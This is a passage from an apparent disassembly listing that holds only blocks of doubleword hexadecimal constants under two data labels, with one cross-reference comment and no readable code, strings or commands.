		dd 3CA89100h, 1638BE7Ch, 153582Eh, 0B5F6BC4h, 0FBE12E2Bh
		dd 7CF15820h, 593E09A6h, 6021EF2Eh, 405F1041h, 0C958E9B0h
		dd 0DB18E060h, 4D93C009h, 0D9024063h, 0FA4FBCC7h, 26BE88C0h
		dd 1CE8AE50h, 2C0E400Fh, 0D23C85FDh, 8479A44Bh,	2C801070h
		dd 8D44EEh, 0D9E03BBCh,	93E5402Bh, 87DFC0C2h, 28FCA045h
		dd 1262E663h, 88922F10h, 13260F00h, 26FAC4Fh, 5CE1E7FCh
		dd 0A9AC00E0h, 11624056h, 227C8A03h, 79313F0Fh,	78E33C30h
		dd 807730FFh, 65ADCA70h, 0A904CC9Ah, 75937117h,	2BED1881h
		dd 0F447700h, 4C84E42Ah, 62809B5h, 16E92228h, 4DB591Fh
		dd 662734h, 0CFBB9F8Bh,	0A09E4AFCh, 3D2ED334h, 0E13CD084h
		dd 5010F10h, 0B59893h, 8771C0EDh, 8BAA158h, 0F409DD28h
		dd 6923920h, 0B6BF67B1h, 0FEFA6048h, 52C00B48h,	8E100A94h
		dd 9B0084F9h, 0EDBA968h, 0E5912AC0h, 0A0FE01C0h, 0B310A6C2h
		dd 0E4885040h, 0F759446h
		dd 0E04FA57Ch, 990780F0h, 55F89D4h, 0D1AF5013h,	30068731h
		dd 4800FE38h, 98ED94A6h, 0F80EEB9h, 0EE0DC3Eh, 1208510Ah
		dd 0B878155Ah, 0FD892604h, 0F20CC137h, 0E78293Dh, 0C547C1B5h
		dd 7894CBBBh, 3E0D887h,	48857A9h, 0E745C970h, 1398803Ch
		dd 3F24A2B2h, 0D81434A0h, 570B00E4h, 213E5290h,	0E8160522h
		dd 410C1B58h, 0DDBF71D8h, 0B82577h, 623308BCh, 4C905DFAh
		dd 80DD5083h, 13D4710Ch, 6510D109h, 0BACC2237h,	9354E0DFh
		dd 385282FFh, 0B3E9C010h, 9BFA7A00h, 9E395767h,	6250D8A0h
		dd 0A4EC9D26h, 8B3C5FE2h, 744C817Ch, 4434C740h,	6797A7Ch
		dd 0E458DFC4h, 0DC0B48F3h, 0F219611h, 5E12D164h, 143C0948h
		dd 3095C80h, 890F0E24h,	17CF4294h, 4065C801h, 0D473F899h
		dd 43855F78h, 4753F2Ch,	317EF001h, 2A10E616h, 51BB07D2h
		dd 5CC01C8Fh, 63E2160h,	80FD921Bh, 3BC27440h, 5DCF5910h
		dd 2B58FC7Ah, 1FB02450h, 5DEEE62Ah, 461B17BFh, 4840E8C0h
		dd 58120704h, 2C80303Fh, 0BA07BE0h, 0F1C65922h,	40731030h
		dd 80E74237h, 2AAA5831h, 13038C74h, 56A2C3C0h, 68B814ECh
		dd 234C5BC5h, 487B9AECh, 80812328h, 28047C90h, 8BCA0239h
		dd 3550C0AEh, 363C5CDBh, 586800A9h, 0BFBDECA3h,	60CE67F9h
		dd 0FA62C0B7h, 0F8076CC4h, 40DD477Fh, 50E70674h, 0EDA3900Ch
		dd 54244068h, 0BF001877h, 9488BE12h, 0FBA0091Fh, 1082A75Ch
		dd 7844C487h, 62420F27h, 909CC41Ch, 0CA2122B8h,	1956380Ah
		dd 80DA06Fh, 14415854h,	7C729F11h, 5E97370h, 0A70B8019h
		dd 0C0080341h, 4958729Bh, 0BFEF00CCh, 0D9EA8338h, 84095BC8h
		dd 583CC354h, 0D0CEDAF2h, 0D089C032h, 0AFB860A0h, 0D03C1634h
		dd 2E905B31h, 94644050h, 9045A941h, 78C9AC1Eh, 0C4088925h
		dd 67E02400h, 37AD16E8h, 0CFF75070h, 0DA1D2E5Bh, 0CC24BE7Dh
		dd 0EBFC085h, 0BA883080h, 0F5640542h, 0C0958510h, 0A75B18A4h
		dd 84A734Fh, 9ECFC411h,	946F9BCAh, 5200E024h, 0A8B124DEh
		dd 0E9981E56h, 0E1BFC99Dh, 0F47AA8A2h, 9BACFC60h, 3C602181h
		dd 82000D5h, 4A5E1412h,	7701A444h, 3A180BE7h, 904292DFh
		dd 19490DCh, 0E8008A82h, 88E739AFh, 28FDC900h, 1C38E8B6h
		dd 985F072Fh, 0C04A99B7h, 0A910904Ch, 80D0AD6Fh, 0B9A62ABFh
		dd 0ECE13E1Dh, 44549689h, 3D6014AFh, 18472F71h,	64576C16h
		dd 2DD70F0h, 10DCB558h,	0B4E84190h, 6005F67h, 80812DFEh
		dd 0B76B698h, 5A886036h, 542B208Fh, 1FB01C10h, 108C7159h
		dd 0BB73EE2Ah, 559809DCh, 0C8940446h, 0FE89269Fh, 0F21C0237h
		dd 486C649Dh, 4581489h,	12E9210h, 96DA8DE5h, 7186DCB8h
		dd 0C0F5FF58h, 0BAAFB700h, 0C618E1BCh, 905000A6h, 0B0E760EDh
		dd 947C3B81h, 0F5F6814h, 0D0400A08h, 3D05EC51h,	8CCC4B67h
		dd 456C040Eh, 909283D8h, 3633B8ECh, 80A7163Dh, 0D9DDC4B0h
		dd 711F97FEh, 8FB900BBh, 0F6FA60A8h, 0C272272Dh, 0E3360F27h
		dd 5F5D8008h, 8E6E14E9h, 9800B1CBh, 1BD7AE21h, 56145092h
		dd 9085997h, 18754A91h,	0C2BA00h, 8826068Ch, 0BBD98BB2h
		dd 90185D01h, 8058ECE2h, 0C0D7A452h, 833BCA0h, 56E1478Ch
		dd 59150820h, 9F4EC7Fh,	40F012BBh, 826A8F40h, 920E2085h
		dd 9C5111DCh, 3C562981h, 0BC244777h, 74059FC6h,	0C20C81A8h
		dd 30782005h, 0F4D1DA41h, 0D69C63F0h, 22FC0960h, 9882D420h
		dd 0A11F25B2h, 0B2397D28h, 0A7BE90E2h, 0A3CBC6E4h, 44C39E40h
		dd 91908088h, 18110E20h, 79A30A57h, 0C0070290h,	0E8D61D3Fh
		dd 4C481798h, 32E88002h, 0EF591C09h, 3A6CA3B4h,	21B6E8D5h
		dd 0A7571418h, 80580852h, 0CCDD050h, 704510D6h,	0BA605860h
		dd 36956938h, 17462D31h, 0B68288D8h, 6D09FC5Bh,	54CE573h
		dd 0C2528A62h, 8602F054h, 2C6605h, 0BB93EBDFh, 81CB4F59h
		dd 56529803h, 0D11F7690h, 0B880A8FDh, 0E070D7BFh, 0E05880Fh
		dd 0EB1865B6h, 808DD806h, 0AB3CB9A8h, 0C00602B8h, 0E0D9D9DBh
		dd 0A12E804Dh, 4C4B3A58h, 3D28815Bh, 8C2C8B7Ah,	0CA58E181h
		dd 0DB8893E9h, 6A9F38C0h, 0BE44F984h, 3EA7EC07h, 0BCC6E880h
		dd 0E10B007Fh, 8919BA98h, 0E006DB29h, 818F40FBh, 0AC31FB68h
		dd 789E4401h, 885A6F02h, 111B982Fh, 0E4925444h,	1630A8F6h
		dd 0F4D9F7AAh, 13A9C834h, 1646710Fh, 8CF40CF4h,	21DFDA99h
		dd 0CCB8F3D6h, 0F4900925h, 85B5B859h, 8405AAFCh, 0D4BCAFD9h
		dd 58C0C04Ah, 68DF08D4h, 74024044h, 49114C5h, 0C88E9E03h
		dd 519AB898h, 0E109E470h, 603910A6h, 3EFAE24h, 0BF9DE826h
		dd 283F4A8Ah, 2FCE0062h, 0E58FD293h, 0F4992C58h, 0C5D140BCh
		dd 0ED0BF87Fh, 8A2F0262h, 27461881h, 240FEE98h,	90C56Eh
		dd 0DD5397D4h, 0CB4E1009h, 99BB1020h, 20F092E3h, 8C09314Bh
		dd 0A42B8310h, 592052C4h, 0A8811789h, 9160ECh, 0DC21FD8h
		dd 0F64D3AA7h, 9F428403h, 0E098DD2Ah, 1B62C30h,	1F02614Bh
		dd 20948B2Bh, 3124D3ECh, 57121893h, 944138F1h, 0FC00ADB4h
		dd 0BB1261F0h, 2489E8C4h, 0FC171E0h, 0ECC946D4h, 0C01C0813h
		dd 1A1F9809h, 458D904h,	0A16D58E4h, 0B4D20068h,	0E59CE8DBh
		dd 0CF6F4B00h, 1A54B0EAh, 164C0DBFh, 0E1590461h, 1A842484h
		dd 78986149h, 3FA00804h, 0F4F258A7h, 18481F20h,	0B4BC9F2Ch
		dd 0BCC47074h, 0B37D980Ah, 5DBA003Ch, 409F7F70h, 0D0A45BDDh
		dd 3D0425E4h, 0A5043491h, 0E4EC9C10h, 2E181448h, 9EF18965h
		dd 0CC47184Fh, 7F89259h, 4B4FC991h, 0D8DA9492h,	0A0AE70B0h
		dd 0BAC00C0Bh, 9CA81055h, 38A5059Ah, 0A969A0h, 39D170E8h
		dd 36FAC028h, 79DA28C3h, 1CE4A51Eh, 2932E88Eh, 98B81D97h
		dd 77E903Ah, 19A011D8h,	5BC0F6F1h, 47C0014Eh, 84ED0F54h
		dd 0B5B4BF41h, 8910AA01h, 0E5D03483h, 0E5C9275h, 276BB114h
		dd 83481184h, 274809Dh,	0F4A25AE1h, 0D91C406Ch,	4102A2ABh
		dd 0D477C029h, 45F30180h, 6078E90Fh, 7000E8D8h,	585793D3h
		dd 0E8EF5EB0h, 0DC07B72Dh, 404E3769h, 219F63E7h, 3AC30F14h
		dd 0D3C905A0h, 3C934058h, 0D4A5A972h, 40605025h, 7C209896h
		dd 0B4AA3144h, 6C60EC18h, 0E50D9FC8h, 50683181h, 0ED40103Eh
		dd 64065813h, 6F34410h,	78CF57BDh, 0B4D65C90h, 4082DE02h
		dd 7451A7F5h, 700808A4h, 0B8A0279Ch, 0BF57BA0Bh, 80278491h
		dd 0B0857B58h, 0BC8C0582h, 0C23649C5h, 0AC405BD0h, 7CB033CCh
dword_4E414C	dd 9E9FE540h, 371001Ch,	0FB10B801h, 14049A4Ah, 0DC8013C2h
					; DATA XREF: ___:off_43A870o
		dd 24EEE125h, 4448209Eh, 4BD8E261h, 26C0B828h, 657C35E3h
		dd 4A0A20Ah, 1C111D02h,	0EA5FCB07h, 96943A08h, 5413A822h
		dd 9EA80A4Ah, 402C26FCh, 29870309h, 582E8626h, 0A8A4FE0Ch
		dd 0A9D03823h, 18BD4089h, 0BA7D4407h, 5FF204D8h, 7C171228h
		dd 9F0E055h, 18F2E0Fh, 26C00244h, 6206DC78h, 0F6BFD211h
		dd 1B06D899h, 5E98ED7Fh, 0CA40C233h, 4C25C47Eh,	0B142F44Ch
		dd 0B5C708ACh, 5638A601h, 0CC405B2Eh, 0B4884F3Dh, 738A61B0h
		dd 84F868B1h, 92007CCDh, 3237BEC1h, 51A0A500h, 97820EA8h
		dd 138C022Dh, 6A101576h, 407B470h, 9F4D7B0Ch, 0E80558E1h
		dd 364834h, 0A011611Ch,	9656FB42h, 0A8DFBD3Fh, 0F907C43Eh
		dd 137A8708h, 881FE905h, 0FA8A8D4h, 3C306A40h, 0F760EFC0h
		dd 4AFB1359h, 440C8549h, 0D8EB7900h, 230A1150h,	0F4DFBB98h
		dd 3CB68F80h, 0BC45D07Eh, 5A1006D8h, 1805B07Ah,	37A88A68h
		dd 1C307C44h, 0ACCA4709h, 5E207C70h, 67A901BEh,	10E2AE58h
		dd 8C0B7E42h, 852802A5h, 2E0E4F3h, 0BD01DDB4h, 18D8CBBFh
		dd 0C8B78E24h, 0C2CF62h, 92D7A6DFh, 572D5618h, 3B155D08h
		dd 7EA6CD28h, 33B081B4h, 89133DBFh, 6A45F148h, 85287E3Ch
		dd 0C13CDA11h, 62A90100h, 6788004Ch, 5D2746C1h,	10921DEFh
		dd 1180F047h, 0FD093A95h, 15C6D40h, 0EE5ED34Ch,	2034A3E1h
		dd 8E895CE5h, 38A22E04h, 0D28C152h, 5002D058h, 0ADBCBB11h
		dd 0B18C50h, 1014D87Ah,	98DA0E80h, 2EDCCE01h, 6858D77Eh
		dd 903060C6h, 0AEA4FA1h, 93D0F714h, 156CE098h, 4058D4BEh
		dd 2B48C2h, 918EE804h, 0A0349274h, 3C56A8EAh, 674274Bh
		dd 0E30F41D3h, 1E285FD7h, 28EC2630h, 3C770928h,	1C447091h
		dd 0D054FF24h, 682AA60Ch, 1D0909Fh, 82B5A8ACh, 23D57FBDh
		dd 0B6400AB0h, 1132985Ah, 30ACF20Dh, 9740570Eh,	46037C3Eh
		dd 887FB15Eh, 258DE1B6h, 9F6E096h, 280B5A64h, 70CCCC42h
		dd 0C0A4635Ch, 1E78DF07h, 1D0B0009h, 60E8CF2Ah,	2304820Ah
		dd 7B403BD8h, 9E25FCA8h, 0F12638EEh, 0F5992C59h, 8C658B70h
		dd 0AC6CD9EDh, 8A66B016h, 56790A74h, 0A103FC0Eh, 0F004B0B6h
		dd 178FEC55h, 808CD9A6h, 7592E7E4h, 0C4CC0E4Bh,	0DC5653A8h
		dd 5C13E42Fh, 52093A92h, 0F94010A4h, 15861E93h,	0FD792800h
		dd 170F751h, 0BF629FA5h, 83A1B057h, 5A4083A8h, 9D300090h
		dd 589BE147h, 878DBA7h,	41B03B04h, 68B033BFh, 0E0D4261h
		dd 92D53440h, 4C848494h, 5CE1FC88h, 0D710480Bh,	562F07AFh
		dd 0A8C0B658h, 11065h, 55974CDFh, 0E06849A9h, 0CB00E890h
		dd 17ED06BFh, 61F50F2Fh, 9E0E6833h, 140C6214h, 40AC6330h
		dd 3B0BE808h, 7029591Ch, 820F0BE4h, 78813D64h, 382357C1h
		dd 10A92538h, 6E80C01Ch, 64499878h, 3501460h, 350848BAh
		dd 82441E97h, 5F103DC2h, 8FE9CC82h, 4A810B1h, 10ECCC22h
		dd 9C900FAFh, 781144A1h, 47C008F8h, 2E5B1FB5h, 5651E06Ch
		dd 0EE3058E7h, 0FD4D1027h, 73A9002Eh, 5778529Bh, 6B2CC011h
		dd 0E805CB2h, 141E94D3h, 0DF5F2EBBh, 1DC683Ch, 0EF3BB02Bh
		dd 0CE4087BFh, 0C440EE2Eh, 0D4195F57h, 0DA0708B9h, 4235B354h
		dd 270B45ACh, 2B74D9C8h, 261Eh,	0FEE35886h, 0A00074D1h
		dd 0C0A77CBh, 0C475E0EAh, 0F0FD59E0h, 6209BBBCh, 404D8Ah
		dd 0FB6E8CBCh, 0FA5F0125h, 0F2B87DAh, 50C02E4Bh, 490DC010h
		dd 4212CD7h, 0EC061401h, 4284717h, 784A4009h, 29AD088Ah
		dd 2BC1887Ch, 0BC3225h,	0DAB207D4h, 897D1D6Fh, 240C08Bh
		dd 0FEBF6338h, 0C02E55h, 65DE1DFCh, 0A7BCC709h,	5DFC840Ch
		dd 0F43E74ECh, 610019C0h, 1FE5DCFCh, 91E49DF0h,	9D7033Ch
		dd 0C0C0D9DFh, 98F0B1C1h, 0A1B8BE00h, 0B68E80DAh, 0FEC238E5h
		dd 0A5C71880h, 0D9E669B0h, 6C1FA9D3h, 80BAD426h, 5DC527C2h
		dd 39FF5697h, 0F848A509h, 9BBD0C00h, 0A73317F6h, 0E6083E50h
		dd 0BB021809h, 0A3807222h, 4C1C03Ch, 0C00B0CB7h, 0A1684FADh
		dd 8B671027h, 6310EAA0h, 4C7849FFh, 4AEBDA82h, 78B60046h
		dd 6B885984h, 8315A080h, 0B5F38A3h, 0C005BB99h,	3C56F2BDh
		dd 9FC4C508h, 4CE2C012h, 0BA004A4h, 0EB3DAF00h,	0E664288Bh
		dd 41C05A90h, 0A75C18F4h, 73D47274h, 404E94Ah, 5CC2ED86h
		dd 68780981h, 1D151120h, 2D274891h, 0DB748827h,	0B0D87030h
		dd 70AFF101h, 74F7BFE7h, 0A014202Bh, 60289027h,	84BA80E4h
		dd 15CFAE1Dh, 0A617E705h, 0A9EE4480h, 0B46EF691h, 2BDE60BCh
		dd 978ABEh, 1341E8E0h, 0B6101891h, 1123901Bh, 82548295h
		dd 9C482E55h, 0CFE3D65h, 0C011C99Ch, 0A000395Eh, 7117B0A6h
		dd 93AD0070h, 39E7657h,	51068F01h, 166BBF38h, 0C5DB5B28h
		dd 2E6F1EECh, 169513A0h, 6388DCDAh, 9258D498h, 20072E5Ch
		dd 0B601BB96h, 60EA4496h, 30B8C72Fh, 18758B8Ah,	0A08E491h
		dd 87CF00DDh, 93ED3E94h, 0D0A0BE5Ah, 1E601E6Ah,	50E12B1h
		dd 0F2E177C0h, 0A0134B2Ch, 185904E6h, 0DA000E38h, 60792B43h
		dd 4980289Eh, 0FB28C03Bh, 13E1BEAEh, 398AC200h,	0B11ED6Ch
		dd 0F3020306h, 61865AA9h, 26BF91D0h, 8FE02060h,	1889E75h
		dd 0B3A073FDh, 81F65857h, 0BF5649B8h, 4C3864F8h, 89F49E84h
		dd 449C29DCh, 5E55F2C8h, 960820D0h, 182FB0CAh, 8F2A844h
		dd 1EECE624h, 4E69C00Fh, 0A572B4AEh, 6C176026h,	4575A80Bh
		dd 4841082Ch, 0B940DC02h, 9870414Ch, 0B473CF0h,	17AA05D1h
		dd 1801B093h, 0A17C6C0Bh, 0BE408B28h, 0B211C510h, 79EA06F0h
		dd 0E4950BFEh, 94444012h, 0E78960A4h, 8627E024h, 0F88DA74Bh
		dd 1540C810h, 8224B9A9h, 4E333D07h, 0E202A066h,	0BE4438D9h
		dd 9F0051FAh, 0F7E352C0h, 12023E30h, 0D8E1FF64h, 2758D19Eh
		dd 0CC45C440h, 4C317D1Dh, 108C2F03h, 9238D6A1h,	0A0A963E4h
		dd 0F3EC7590h, 2EBC46F4h, 818B6C92h, 0E24E8BDh,	0CE140951h
		dd 4070182Ah, 12CDB20h,	0A5FEDDBBh, 0C860EFE9h,	977226F7h
		dd 2C5F980Fh, 43BC955h,	4CF085DCh, 92AE27A0h, 9A9720CEh
		dd 24587310h, 8442548h,	0FD4008FBh, 3986034h, 3130F73Bh
		dd 8EE1D89Bh, 0EB4882B9h, 4A0E3A79h, 0DBD84130h, 886BE033h
		dd 9456CC42h, 0EE070500h, 16AD7Bh, 6F14187h, 0E66250F8h
		dd 2C2C8380h, 1F30370Eh, 2E08A85Fh, 450960Ah, 82FD8092h
		dd 9C50BA3Ch, 14802E4Bh, 749F8F2Fh, 0BC09605h, 9C51C013h
		dd 0B5121911h, 5181D99h, 870EBFDEh, 0C1D7470Ch,	0F1A5DB3Ch
		dd 40B8829Fh, 52297C76h, 5A8CB8D8h, 18A829E0h, 1490BEF0h
		dd 1491A512h, 0E4024C1h, 1813088Dh, 5A908BB0h, 8594BA4Ch
		dd 3CAC3F13h, 0B781D78Eh, 80C55557h, 404FC120h,	7C2088DFh
		dd 0C7292C56h, 0DB68891Ch, 0C00A2600h, 0F0B26296h, 2C10EC2Eh
		dd 0DCD70793h, 0C0079D74h, 6C06097Dh, 3D008877h, 3199309Eh
		dd 0B554A8A5h, 363C70A1h, 407639h, 0D9C382A4h, 2A4014E0h
		dd 25C03AF1h, 380745F9h, 0DB40CC48h, 92CD183Dh,	80D21038h
		dd 0EEECC9C0h, 0B85F9860h, 42E008Ah, 87288C0Ch,	1077E14Ah
		dd 1D3F583Fh, 300E57D8h, 318F8098h, 5FB46Bh, 38E2430Fh
		dd 0ECD84037h, 58E350C2h, 506CF022h, 3FA5B0BEh,	124A8810h
		dd 69880B4h, 0E04048C0h, 54C89D89h, 0EF126128h,	0B0F2345Eh
		dd 44DC6517h, 1187A0h, 0D14DD083h, 403039EBh, 3CF76081h
		dd 2B7A0F26h, 0F082AC17h
dword_4E494C	dd 48D45AA5h, 0CA96A034h, 3DA01FA0h, 0E4B0B9D3h, 272DB858h
		dd 0E478DC10h, 5765620Bh, 37AC41C5h, 0B41A3C34h, 35E80074h
		dd 4562E8Eh, 0A2D3C013h, 0EE3ED4B2h, 69925901h,	2ED8E457h
		dd 8094C56h, 84C40F6Eh,	0A8CD4C67h, 2040B030h, 2F1E1821h
		dd 0CE05EBE1h, 0C8A92867h, 0E86DAE02h, 0B48F085Eh, 1A274388h
		dd 9874D87Ch, 79AC0088h, 0F160738Dh, 0D01C4518h, 78809855h
		dd 592B53F4h, 20795FCFh, 18B8D940h, 647C7581h, 0D4401A7Ah
		dd 5CDB58ABh, 53000369h, 0FFA80161h, 9D62B065h,	814C39CCh
		dd 0CA40E072h, 58100FFFh, 4044259h, 0D3D02D9h, 880C5672h
		dd 6D00CFBEh, 4CED6051h, 29550154h, 69576165h, 0B8F9B093h
		dd 7DC1D78Dh, 0BA09049h, 1A59FEFDh, 80B15CC0h, 0BB466205h
		dd 18CCF193h, 16172ABh,	0B9DD242Bh, 0A7FD7F44h,	2C42062h
		dd 3774E34Dh, 0C210D118h, 0CA0FE38h, 1EAFC00Bh,	5F274890h
		dd 158100Ah, 960280BDh,	736E1016h, 0FDD95080h, 952D9830h
		dd 0B170CCC0h, 17DAEF0Bh, 0A0F8F1AEh, 2997600Ch, 470CED24h
		dd 8084E309h, 507D0048h, 18F970B7h, 78360D10h, 0B203BA98h
		dd 0E0E3EE3Ch, 8752C25Bh, 698A08h, 0F35F088h, 5CCD4B86h
		dd 544AE770h, 133B7056h, 3849C0B0h, 32300482h, 85E07C83h
		dd 83508080h, 2C5A26EAh, 0EE91E098h, 4182E1ECh,	5EF290CCh
		dd 60182774h, 0D13510A7h, 0FCA160BAh, 0C0C2C47Ch, 0A8A006B2h
		dd 25DA8507h, 38624Ch, 4CDC93C5h, 9D08CE59h, 34D88C91h
		dd 0F275DF08h, 9F6DC012h, 405A3441h, 0EC00DD55h, 1DF0EF18h
		dd 582EE341h, 9F0FF84Ch, 5EB9DC60h, 5E7918Ah, 9E6E8E82h
		dd 194CB478h, 0D6C91464h, 0ACD25CC1h, 0F23E6C00h, 72F51800h
		dd 578C64AEh, 21980414h, 0C2FA1C52h, 0E8599171h, 97000E9Eh
		dd 0BEEF091Ah, 0C110C1EAh, 35750F0Ah, 45298390h, 9602BFA2h
		dd 121A0968h, 2C29F440h, 0C56E5804h, 0BFB840F8h, 0C0089E10h
		dd 303F2530h, 983DE8A0h, 98EE0021h, 7CB12CBEh, 0F904DF91h
		dd 8E42C00Dh, 402280D0h, 6F00B60Ah, 587A610Eh, 0E828886Eh
		dd 30AE8A6h, 0BCF6B4C0h, 45098F1Fh, 85A87B22h, 0ACFB8658h
		dd 0D9918028h, 718BF8ABh, 94BF1BFCh, 0BAE04007h, 148D368h
		dd 0B02C109Ch, 43535800h, 4DF2C398h, 904B870Eh,	0CDEA03B7h
		dd 0A6C08794h, 197840Eh, 0EBD66253h, 2A3DAF49h,	5C0CE80Ah
		dd 0BF665040h, 104664A2h, 0E044ABA6h, 0F6092326h, 2C5B2602h
		dd 0A4B0E4D2h, 7820ED41h, 0B3AE0ED9h, 0BF03C703h, 4809C9DBh
		dd 80AA6E94h, 0C21E61F6h, 350F2525h, 0A02A001h,	3B3062E4h
		dd 25188F01h, 344996E1h, 0B02042ADh, 13759330h,	0F488E80Eh
		dd 3E0EA8D4h, 4127148Dh, 56A71B18h, 82C00841h, 5B127868h
		dd 0A8C47054h, 0B202A338h, 58E15025h, 9F984907h, 5572B824h
		dd 0C04B94DFh, 7A58E804h, 1708AC44h, 98447F31h,	0E602B2DCh
		dd 0A460A16Ah, 8DF882D5h, 56D89154h, 0BFDD3E06h, 288DB2Ch
		dd 0E14BF961h, 6DE0109Dh, 81975F57h, 0B3A074E0h, 4B6854DEh
		dd 2CBE3C71h, 4043FC4Ch, 448AC4BEh, 0A782911Dh,	28BACC10h
		dd 407172Eh, 0FB6313h, 10B7D62Ch, 0E14F8D22h, 88B0DC74h
		dd 0A9D9402Ah, 1C56A802h, 530990B9h, 5F426C0h, 0C5CCE92h
		dd 0BD995FCh, 3A4B7E00h, 57BB18DAh, 6C01B7E8h, 38CE98D7h
		dd 2FFE828Ch, 4BE052DFh, 0D09037A8h, 0BFB3FADAh, 6CC1374Ah
		dd 30CCBC8Dh, 2C8970E3h, 0EBE8A3B6h, 3CAFD823h,	0A20FE000h
		dd 576C1A1Fh, 151D2E08h, 38405200h, 8A093D02h, 811A4041h
		dd 0E09489BCh, 1524042Ah, 0E8E1022Ah, 4088680Bh, 2289CB0h
		dd 4B6B58E5h, 0F8C02804h, 40F45F2h, 2665DD88h, 0F69CC711h
		dd 1A097039h, 2F9E21FFh, 30F58428h, 83A4A810h, 2806A0Ch
		dd 0E800A975h, 0EA3103Eh, 0C419786h, 0BA67248Fh, 59251218h
		dd 0EB40030h, 92F9790h,	0EFCB6F50h, 2C621041h, 2C745860h
		dd 0C66220B0h, 73F4487Eh, 0D9840FB1h, 2EE54E05h, 0ADFC0434h
		dd 0CBED0188h, 0D6899BC3h, 40D8B19Fh, 5A2FA03Bh, 0EB610405h
		dd 3E1F4F8h, 28BC390Dh,	0C025A019h, 89B04169h, 5BB4226Bh
		dd 85ADDE61h, 85F7A10h,	0C27B882Dh, 94D3EFF4h, 2FE86385h
		dd 90A2CCE8h, 0A061EC54h, 8830DA0Eh, 83405E57h,	71A97590h
		dd 0D7BC38E0h, 0D7251C40h, 9817E3ABh, 7F58C048h, 613D447Bh
		dd 30CC1301h, 0C018FD58h, 12D94021h, 21D68C38h,	6D0E1A18h
		dd 222F1068h, 0AA26A400h, 0B52DD85Ch, 84A01448h, 80FB0858h
		dd 0EF3E4858h, 80E571F1h, 1235B720h, 3040E1CAh,	9868CD9Bh
		dd 0E40FEA37h, 8EA8B243h, 8269298Ch, 60F1783Ch,	9AF25A0h
		dd 8F67BF6Dh, 30EC80A8h, 65400920h, 3024B550h, 0C06DEB3Eh
		dd 8F153CABh, 48D9C089h, 5DF0D044h, 0E010386Fh,	3CDAD6Fh
		dd 5BB09861h, 19B8C890h, 80B523F0h, 4003F994h, 29D12DDBh
		dd 28B1A464h, 74FD8803h, 30EDA49Eh, 569C0192h, 3092AED3h
		dd 0DE16F8ECh, 0D8081D36h, 70DA095Eh, 100400FEh, 4882B348h
		dd 2F184E0Bh, 30CC7127h, 5C008092h, 989566EDh, 68FD05Ah
		dd 6559272Fh, 0BB00281Ch, 894FE4D1h, 2C6CABh, 12173F8Bh
		dd 4BB2AADAh, 97AC7A00h, 6351AD1Dh, 52283CAEh, 2D085528h
		dd 84588410h, 84CF14BEh, 0C11E3FFAh, 0B766FDB3h, 61F8301Ah
		dd 16409248h, 3075189Eh, 598394F2h, 0F84AF637h,	4CC4D417h
		dd 8859F0B6h, 0B4A0D904h, 0C2B088DBh, 5F105314h, 0D0E924C0h
		dd 8BE109C1h, 0A340352Bh, 1FBE13DCh, 0F49EC421h, 2877286Dh
		dd 8BCBB6Ch, 50BFC010h,	0E007A1Ch, 0F92DAC79h, 27E57F18h
		dd 2080D506h, 880260B3h, 35229400h, 4C58ECB5h, 40DA80C4h
		dd 28B78B33h, 9D0059Eh,	48A742A0h, 482F964Ch, 97DEF0h
		dd 0F3AB8421h, 0BF91274Ch, 88AEE333h, 36BDB98Bh, 2DD8FC4Ch
		dd 0D0604140h, 2E4BB03Dh, 0CB9800C8h, 0E60F3B70h, 0E1F0A5D6h
		dd 718126Eh, 21867538h,	2A6B10A8h, 0C4FBF000h, 11DBBEh
		dd 0F7396FE3h, 8F9E1F5h, 1FE65Ch, 5C1A0DA4h, 0A3B950Eh
		dd 0B6D840EDh, 0D12181B4h, 20CD341Eh, 0BF136374h, 38D20316h
		dd 0EBE8C8B3h, 7CE90561h, 0FC062194h, 3D111E50h, 8CB5907h
		dd 29FEE13h, 5E504D08h,	385A5B2Eh, 59104244h, 0B1006832h
		dd 0ECE71955h, 88980B9Fh, 0B02CD494h, 20660F86h, 0ACC197D9h
		dd 3346C1Fh, 0E658E319h, 0BC50030Bh, 2D29DA84h,	285DD013h
		dd 3D0B90A2h, 20B17B1Fh, 7AFC2C89h, 16FA6000h, 57A0D756h
		dd 40EA0B77h, 3041F7A9h, 59DC703Bh, 0E93EF102h,	54A3BFh
		dd 0D2691094h, 0D080FC9Ah, 6D25F2D0h, 5A9842F5h, 45E13368h
		dd 847770h, 0EA406FA3h,	4F284A76h, 8E00DFD8h, 164680B6h
		dd 10086F00h, 1D99A11Fh, 98070211h, 287F1757h, 0E033F0E0h
		dd 5E7CE282h, 0E4630933h, 9F7E8A2h, 0F0941CF8h,	28DA30E1h
		dd 10A17478h, 0E706C1Ch, 0BD0A9FB5h, 91BFD206h,	50C02D38h
		dd 0C1DBE807h, 0D2423A57h, 0F86FBC87h, 18C1AA12h, 0BE01C062h
		dd 24607F17h, 4DB83D0Bh, 0C8101887h, 0B5A50EDCh, 0BB9F819Dh
		dd 5AD2BFCEh, 697227E8h, 50F86009h, 3092F47h, 0D45A40A0h
		dd 9C7698A2h, 91288B43h, 9C2BE49Dh, 0B340F5FCh,	77B000D8h
		dd 881F2B3Eh, 4017DF1Bh, 208D8DADh, 0E8E88204h,	42140BA1h
		dd 0BC44DD34h, 0C24BE4Ah, 440F89Dh, 95B7E6D9h, 0FA6B9810h
		dd 2F91D3Eh, 58EB0C73h,	43CD6BFh, 0F94AC691h, 8C2010h
		dd 0EF41B95h, 0DC0F597Dh
		dd 62008492h, 5CE75F67h, 0E06BEC3Ah, 48A7045Ah,	0AD1BBF83h
		dd 0BC060094h, 4077F5D8h, 4FC74BEDh, 0E00944CCh, 8F623CC2h
		dd 56891CAFh, 0E9126C59h, 1CF42F13h, 88879DE1h,	9C5811F7h
		dd 0C0B081C9h, 0A06043E9h, 6F8197h, 984710ACh, 9E495882h
		dd 0C0A82F10h, 1FBE6158h, 65D6F65Bh, 0C08B04D3h, 94A420AFh
		dd 6EC7291h, 824062F4h,	803820EBh, 8777980Fh, 0F42F0788h
		dd 890B64Ch, 0FC2C8D18h, 49402EAFh, 8034F1ACh, 80CE854Ah
		dd 0C2659958h, 308C5299h, 0D4988655h, 2CF0A55Dh, 9F05505Eh
		dd 58A0C257h, 493E9073h, 8D1210EAh, 71CCD749h, 28025FB2h
		dd 4559B034h, 9F989205h, 0F541085h, 1111F5Ch, 9EC4F110h
		dd 0AC0175Bh, 0E70F02C2h, 74908E40h, 0C0AFCDAh,	0F49F2BC0h
		dd 29671180h, 0EA183F71h, 448297A9h, 78D84859h,	5740DC0Ch
		dd 0F622E916h, 0EF3C2CD4h, 0F08039B0h, 24174507h, 8A041A7h
